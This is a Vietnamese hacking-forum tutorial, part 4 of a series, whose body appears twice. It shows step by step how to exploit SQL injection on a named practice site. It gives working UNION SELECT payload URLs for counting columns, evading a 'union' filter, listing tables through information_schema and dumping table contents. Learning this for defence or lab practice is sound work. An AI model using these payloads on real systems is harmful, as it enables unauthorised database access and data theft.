Bây giờ là:
Đăng Nhập
Quy định và điều bạn cần biết
Mon Dec 30, 2013 9:13 am by Admin
DIỄN ĐÀN VUI LÀ CHÍNH KHÔNG PHẢI LÀ WEBSITE CHÍNH THỨC
☞ Giao lưu không cay cú
☞ Các mem không spam icon
☞ Các mem có quyền phản ánh mod với cách làm việc
☞ Các mem không sử dụng ngôn từ không thích hợp
1/ Các bài viết, hình ảnh, nhạc... gởi vào diễn đàn không được:
* Toàn bộ phần chủ đề (hoặc nội …
☞ Giao lưu không cay cú
☞ Các mem không spam icon
☞ Các mem có quyền phản ánh mod với cách làm việc
☞ Các mem không sử dụng ngôn từ không thích hợp
1/ Các bài viết, hình ảnh, nhạc... gởi vào diễn đàn không được:
* Toàn bộ phần chủ đề (hoặc nội …
Comments: 1
Latest topics
SQL injection - Các bước khai thác khác P4
Trang 1 trong tổng số 1 trang
SQL injection - Các bước khai thác khác P4
1. Phát hiện
Một cách thông thường, để phát hiện một ứng dụng web có dính lỗi SQL injection hay không là thêm vào câu truy vấn các meta character trong các hệ quản trị cơ sở dữ liệu, chẳng hạn như dấu nháy đơn (single quote), dấu nháy kép (double quote), dấu chấm phẩy (semi colon) và các ký tự comment (--, ##, /**/)… và chờ xem ứng dụng web sẽ xứ lý câu truy vấn đó như thế nào.
Các bạn truy cập vào link sau:http://zerocoolhf.altervista.org/level1.php?id=1
Thêm vào cuối liên kết trên một trong các meta character đã nói ở trên, chẳng hạn ta thêm vào dấu nháy đơn:http://zerocoolhf.altervista.org/level1.php?id=1'
Thông báo lỗi từ mysql xuất hiện, như vậy trang web này đã bị dính lỗi SQL injection.
2. Thu thập thông tin về hệ quản trị cơ sở dữ liệu
Khi phát hiện ứng dụng bị dính lỗi SQL injection, công việc cần làm tiếp theo là thu thập thông tin về hệ quản trị cơ sở dữ liệu mà ứng dụng đang dùng, thông tin này bao gồm loại cơ sở dữ liệu (mysql, mssql, oracle…) và phiên bản của nó.
Để xác định hệ loại quản trị mà ứng dụng đang sử dụng, chúng ta có thể đánh giá theo nhiều tiêu chí. Có thể đánh giá qua thông báo lỗi:
Trong trường hợp ở trên, thông báo lỗi cho biết ứng dụng web sử dụng MySQL.
3. Xác định số lượng cột trong mệnh đề select
Khi khai thác SQL injection, chúng ta thường sử dụng một hay nhiều mệnh đề select phụ (subselect), điều này được thực hiện thông qua từ khóa union. Union là từ khóa dùng để gộp kết quả của nhiều mệnh đề select do đó trong mỗi mệnh đề select đòi hỏi số lượng các trường đều phải bằng nhau và đều bằng số lượng các trường được select trong mệnh đề select ban đầu. Xét một ví dụ cụ thể :
Ở đây, trong mệnh đề select ban đầu chọn ra 3 trường là id, content và author. Do đó mệnh đề select sau từ khóa union cũng cần phải có đúng 3 trường. Nếu số trường select ở mệnh đề select sau union không bằng số lượng các trường được select trong mệnh đề select đầu tiên, chúng ta sẽ nhận được thông báo lỗi. Vậy làm sao để biết để biết được chính xác mệnh đề select đầu tiền chọn ra bao nhiêu trường. Chúng ta có thể thực hiện thử dần bằng cách tăng dần số lượng cột trong mệnh đề select sau union (bắt đầu từ 1). Khi nào không thấy thông báo lỗi xuất hiện thì đó chính là số lượng cột cần tìm.
Một cách khác để làm điều này, nhanh chóng hơn đó là sử dụng 'order by'. Trong các hệ quản trị cơ sở dữ liệu từ khóa 'order by'được sử dụng để sắp xếp thứ tự cho các bản ghi thu được trong mệnh để select. Sau order by có thể là tên một cột để xác định rằng kết quả thu về sẽ được sắp xếp theo giá trị của cột đó (có thể tăng dần hay giảm dần). Sau order by cũng có thể là số thứ tự vị trí của cột đó. Nếu giá trị sau order lớn hơn số cột được select thì chúng ta sẽ thấy thông báo lỗi.
Quay lại với site bị dính lỗi SQL injection ở trên, ta dùng 'order by', tăng dần để xác định số cột.
[url=http://zerocoolhf.altervista.org/level1.php?id=1%27 order by 1-- -]http://zerocoolhf.altervista.org/level1.php?id=1' order by 1-- -[/url] => ok
[url=http://zerocoolhf.altervista.org/level1.php?id=1%27 order by 2-- -]http://zerocoolhf.altervista.org/level1.php?id=1' order by 2-- -[/url]=> ok
[url=http://zerocoolhf.altervista.org/level1.php?id=1%27 order by 3-- -]http://zerocoolhf.altervista.org/level1.php?id=1' order by 3-- -[/url] => ok
Tiếp tục: [url=http://zerocoolhf.altervista.org/level1.php?id=1%27 order by 4-- -]http://zerocoolhf.altervista.org/level1.php?id=1' order by 4-- -[/url] => xuất hiện lỗi.
Như vậy, ta xác định được số cột là 3.
4. Xác định thông tin
Sau khi lấy được các thông tin cơ bản, chúng ta sẽ tiến hành khai thác SQL injection để lấy cơ sở dữ liệu hay thực hiện những hành vi khác thông qua lỗ hổng này.
Xác định tên bảng, cột: chúng ta có nhiều cách để làm được công việc này, một trong những cách đó là “đoán” vì nó nhanh chóng và trong những trường hợp cụ thể, đây là cách rất hữu ích. Ví dụ: một số tên bảng thông dụng như : user, users, admin, administrator, staff, account, manager… (chú ý tiền tố tbl_ rất hay được các lập trình viên sử dụng để đặt cho tên bảng).
Một cách chính qui hơn để biết được tên bảng, tên cột là sử dụng đối tượng information_schema. Đối tượng này cung cấp các thông tin về tables, columns, views và procedures… của cơ sở dữ liệu.
Bây giờ, trở lại site http://zerocoolhf.altervista.org/level1.php?id=1
Truy vấn SQL với URL trên có số cột là 3 (đã xác định ở trên).
Tiến hành request với URL sau: [url=http://zerocoolhf.altervista.org/level1.php?id=-1%27 union select 1,2,3-- -]http://zerocoolhf.altervista.org/level1.php?id=-1' union select 1,2,3-- -[/url]
Lỗi trả về cho ta thấy có vẻ như ‘unio’ đã bị xóa mất.
Thử lại với request: [url=http://zerocoolhf.altervista.org/level1.php?id=-1%27 uniounion select 1,2,3-- -]http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select 1,2,3-- -[/url]
Thành công. Ta thấy cột số 2 và 3 bị lỗi.
Lấy phiên bản của hệ quản trị cơ sở dữ liệu và tên cơ sở dữ liệu:
[url=http://zerocoolhf.altervista.org/level1.php?id=-1%27 uniounion select 1,version(),database()-- -]http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select 1,version(),database()-- -[/url]
Như vậy tên cơ sở dữ liệu là my_zerocoolhf và phiên bản của hệ quản trị cơ sở dữ liệu là MySQL 5.1.71-community-log.
Tiếp tục, lấy tên các bảng trong cơ sở dữ liệu:
[url=http://zerocoolhf.altervista.org/level1.php?id=-1%27 uniounion select all 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -]http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select all 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -[/url]
Cơ sở dữ liệu có 2 bảng là auth và book. Chúng ta sẽ thử lấy nội dung các bản ghi trong bảng book. Trước hết xác định các trường của bảng book.
Thực hiện request:
[url=http://zerocoolhf.altervista.org/level1.php?id=-1%27 uniounion select all 1,group_concat(column_name),3 from information_schema.columns where table_name=0x626f6f6b-- -]http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select all 1,group_concat(column_name),3 from information_schema.columns where table_name=0x626f6f6b-- -[/url]
(0x626f6f6b là mã hex của tên bảng book, tương tự nếu muốn lấy tên các trường của bảng auth thì chỉ cần thay mã hex của authvào vị trí của 0x626f6f6b)
Tên các trường: id, title, price, author. Bây giờ ta sẽ lấy nội dung các bản ghi trong cơ sở dữ liệu:
[url=http://zerocoolhf.altervista.org/level1.php?id=-1%27 uniounion select all 1,group_concat(id,0x3a,title,0x3a,price,0x3a,author),3 from book-- -]http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select all 1,group_concat(id,0x3a,title,0x3a,price,0x3a,autho r),3 from book-- -[/url]
(group_concat để nối nhiều giá trị với nhau. 0x3a là dấu “:”, để ngăn cách cho dễ nhìn)
Như vậy, ta có thể lấy được toàn bộ cơ sở dữ liệu của site bị lỗi SQL injection.
Một cách thông thường, để phát hiện một ứng dụng web có dính lỗi SQL injection hay không là thêm vào câu truy vấn các meta character trong các hệ quản trị cơ sở dữ liệu, chẳng hạn như dấu nháy đơn (single quote), dấu nháy kép (double quote), dấu chấm phẩy (semi colon) và các ký tự comment (--, ##, /**/)… và chờ xem ứng dụng web sẽ xứ lý câu truy vấn đó như thế nào.
Các bạn truy cập vào link sau:http://zerocoolhf.altervista.org/level1.php?id=1
Thêm vào cuối liên kết trên một trong các meta character đã nói ở trên, chẳng hạn ta thêm vào dấu nháy đơn:http://zerocoolhf.altervista.org/level1.php?id=1'
Thông báo lỗi từ mysql xuất hiện, như vậy trang web này đã bị dính lỗi SQL injection.
2. Thu thập thông tin về hệ quản trị cơ sở dữ liệu
Khi phát hiện ứng dụng bị dính lỗi SQL injection, công việc cần làm tiếp theo là thu thập thông tin về hệ quản trị cơ sở dữ liệu mà ứng dụng đang dùng, thông tin này bao gồm loại cơ sở dữ liệu (mysql, mssql, oracle…) và phiên bản của nó.
Để xác định hệ loại quản trị mà ứng dụng đang sử dụng, chúng ta có thể đánh giá theo nhiều tiêu chí. Có thể đánh giá qua thông báo lỗi:
Trong trường hợp ở trên, thông báo lỗi cho biết ứng dụng web sử dụng MySQL.
3. Xác định số lượng cột trong mệnh đề select
Khi khai thác SQL injection, chúng ta thường sử dụng một hay nhiều mệnh đề select phụ (subselect), điều này được thực hiện thông qua từ khóa union. Union là từ khóa dùng để gộp kết quả của nhiều mệnh đề select do đó trong mỗi mệnh đề select đòi hỏi số lượng các trường đều phải bằng nhau và đều bằng số lượng các trường được select trong mệnh đề select ban đầu. Xét một ví dụ cụ thể :
Ở đây, trong mệnh đề select ban đầu chọn ra 3 trường là id, content và author. Do đó mệnh đề select sau từ khóa union cũng cần phải có đúng 3 trường. Nếu số trường select ở mệnh đề select sau union không bằng số lượng các trường được select trong mệnh đề select đầu tiên, chúng ta sẽ nhận được thông báo lỗi. Vậy làm sao để biết để biết được chính xác mệnh đề select đầu tiền chọn ra bao nhiêu trường. Chúng ta có thể thực hiện thử dần bằng cách tăng dần số lượng cột trong mệnh đề select sau union (bắt đầu từ 1). Khi nào không thấy thông báo lỗi xuất hiện thì đó chính là số lượng cột cần tìm.
Một cách khác để làm điều này, nhanh chóng hơn đó là sử dụng 'order by'. Trong các hệ quản trị cơ sở dữ liệu từ khóa 'order by'được sử dụng để sắp xếp thứ tự cho các bản ghi thu được trong mệnh để select. Sau order by có thể là tên một cột để xác định rằng kết quả thu về sẽ được sắp xếp theo giá trị của cột đó (có thể tăng dần hay giảm dần). Sau order by cũng có thể là số thứ tự vị trí của cột đó. Nếu giá trị sau order lớn hơn số cột được select thì chúng ta sẽ thấy thông báo lỗi.
Quay lại với site bị dính lỗi SQL injection ở trên, ta dùng 'order by
[url=http://zerocoolhf.altervista.org/level1.php?id=1%27 order by 1-- -]http://zerocoolhf.altervista.org/level1.php?id=1' order by 1-- -[/url] => ok
[url=http://zerocoolhf.altervista.org/level1.php?id=1%27 order by 2-- -]http://zerocoolhf.altervista.org/level1.php?id=1' order by 2-- -[/url]=> ok
[url=http://zerocoolhf.altervista.org/level1.php?id=1%27 order by 3-- -]http://zerocoolhf.altervista.org/level1.php?id=1' order by 3-- -[/url] => ok
Tiếp tục: [url=http://zerocoolhf.altervista.org/level1.php?id=1%27 order by 4-- -]http://zerocoolhf.altervista.org/level1.php?id=1' order by 4-- -[/url] => xuất hiện lỗi.
Như vậy, ta xác định được số cột là 3.
4. Xác định thông tin
Sau khi lấy được các thông tin cơ bản, chúng ta sẽ tiến hành khai thác SQL injection để lấy cơ sở dữ liệu hay thực hiện những hành vi khác thông qua lỗ hổng này.
Xác định tên bảng, cột: chúng ta có nhiều cách để làm được công việc này, một trong những cách đó là “đoán” vì nó nhanh chóng và trong những trường hợp cụ thể, đây là cách rất hữu ích. Ví dụ: một số tên bảng thông dụng như : user, users, admin, administrator, staff, account, manager… (chú ý tiền tố tbl_ rất hay được các lập trình viên sử dụng để đặt cho tên bảng).
Một cách chính qui hơn để biết được tên bảng, tên cột là sử dụng đối tượng information_schema. Đối tượng này cung cấp các thông tin về tables, columns, views và procedures… của cơ sở dữ liệu.
Bây giờ, trở lại site http://zerocoolhf.altervista.org/level1.php?id=1
Truy vấn SQL với URL trên có số cột là 3 (đã xác định ở trên).
Tiến hành request với URL sau: [url=http://zerocoolhf.altervista.org/level1.php?id=-1%27 union select 1,2,3-- -]http://zerocoolhf.altervista.org/level1.php?id=-1' union select 1,2,3-- -[/url]
Lỗi trả về cho ta thấy có vẻ như ‘unio’ đã bị xóa mất.
Thử lại với request: [url=http://zerocoolhf.altervista.org/level1.php?id=-1%27 uniounion select 1,2,3-- -]http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select 1,2,3-- -[/url]
Thành công. Ta thấy cột số 2 và 3 bị lỗi.
Lấy phiên bản của hệ quản trị cơ sở dữ liệu và tên cơ sở dữ liệu:
[url=http://zerocoolhf.altervista.org/level1.php?id=-1%27 uniounion select 1,version(),database()-- -]http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select 1,version(),database()-- -[/url]
Như vậy tên cơ sở dữ liệu là my_zerocoolhf và phiên bản của hệ quản trị cơ sở dữ liệu là MySQL 5.1.71-community-log.
Tiếp tục, lấy tên các bảng trong cơ sở dữ liệu:
[url=http://zerocoolhf.altervista.org/level1.php?id=-1%27 uniounion select all 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -]http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select all 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -[/url]
Cơ sở dữ liệu có 2 bảng là auth và book. Chúng ta sẽ thử lấy nội dung các bản ghi trong bảng book. Trước hết xác định các trường của bảng book.
Thực hiện request:
[url=http://zerocoolhf.altervista.org/level1.php?id=-1%27 uniounion select all 1,group_concat(column_name),3 from information_schema.columns where table_name=0x626f6f6b-- -]http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select all 1,group_concat(column_name),3 from information_schema.columns where table_name=0x626f6f6b-- -[/url]
(0x626f6f6b là mã hex của tên bảng book, tương tự nếu muốn lấy tên các trường của bảng auth thì chỉ cần thay mã hex của authvào vị trí của 0x626f6f6b)
Tên các trường: id, title, price, author. Bây giờ ta sẽ lấy nội dung các bản ghi trong cơ sở dữ liệu:
[url=http://zerocoolhf.altervista.org/level1.php?id=-1%27 uniounion select all 1,group_concat(id,0x3a,title,0x3a,price,0x3a,author),3 from book-- -]http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select all 1,group_concat(id,0x3a,title,0x3a,price,0x3a,autho r),3 from book-- -[/url]
(group_concat để nối nhiều giá trị với nhau. 0x3a là dấu “:”, để ngăn cách cho dễ nhìn)
Như vậy, ta có thể lấy được toàn bộ cơ sở dữ liệu của site bị lỗi SQL injection.
Mr.Keen- Admin
- Tổng số bài gửi : 46
Join date : 30/12/2013
Age : 28
Đến từ : Phong Điền Cần Thơ
Similar topics
» SQL injection - Các con đường khai thác khác P2
» SQL injection – Các hướng khai thác P3
» SQL injection - Một số tool khai thác P6
» SQL injection - Con đường khai thác phổ biến: qua “user input”.P1
» SQL injection - Một số kỹ thuật vượt qua cơ chế lọc P5
» SQL injection – Các hướng khai thác P3
» SQL injection - Một số tool khai thác P6
» SQL injection - Con đường khai thác phổ biến: qua “user input”.P1
» SQL injection - Một số kỹ thuật vượt qua cơ chế lọc P5
Trang 1 trong tổng số 1 trang
Permissions in this forum:
Bạn không có quyền trả lời bài viết
|
|
Sun Sep 21, 2014 7:32 pm by anhkhoa1597
» Hướng dẫn mod khung viền trong LMHT
Tue Jul 22, 2014 2:31 pm by ltn1993st
» Cần lời Gải Thích
Fri Jul 11, 2014 1:21 pm by Admin
» Van Gaal: Thiên tài hay kẻ phụ bạc từ góc nhìn tâm lý học
Tue Jul 08, 2014 12:33 pm by Admin
» Brazil – Đức: Điệu Samba loạn nhịp trước “xe tăng”
Tue Jul 08, 2014 12:23 pm by Admin
» Anh K giải thích cái này nhé!
Fri Jun 06, 2014 6:46 am by Mr.Keen
» SQL injection - Các cách phòng chống và kết luận P7
Sun May 11, 2014 3:34 pm by Mr.Keen
» SQL injection - Một số tool khai thác P6
Sun May 11, 2014 3:33 pm by Mr.Keen
» SQL injection - Một số kỹ thuật vượt qua cơ chế lọc P5
Sun May 11, 2014 3:32 pm by Mr.Keen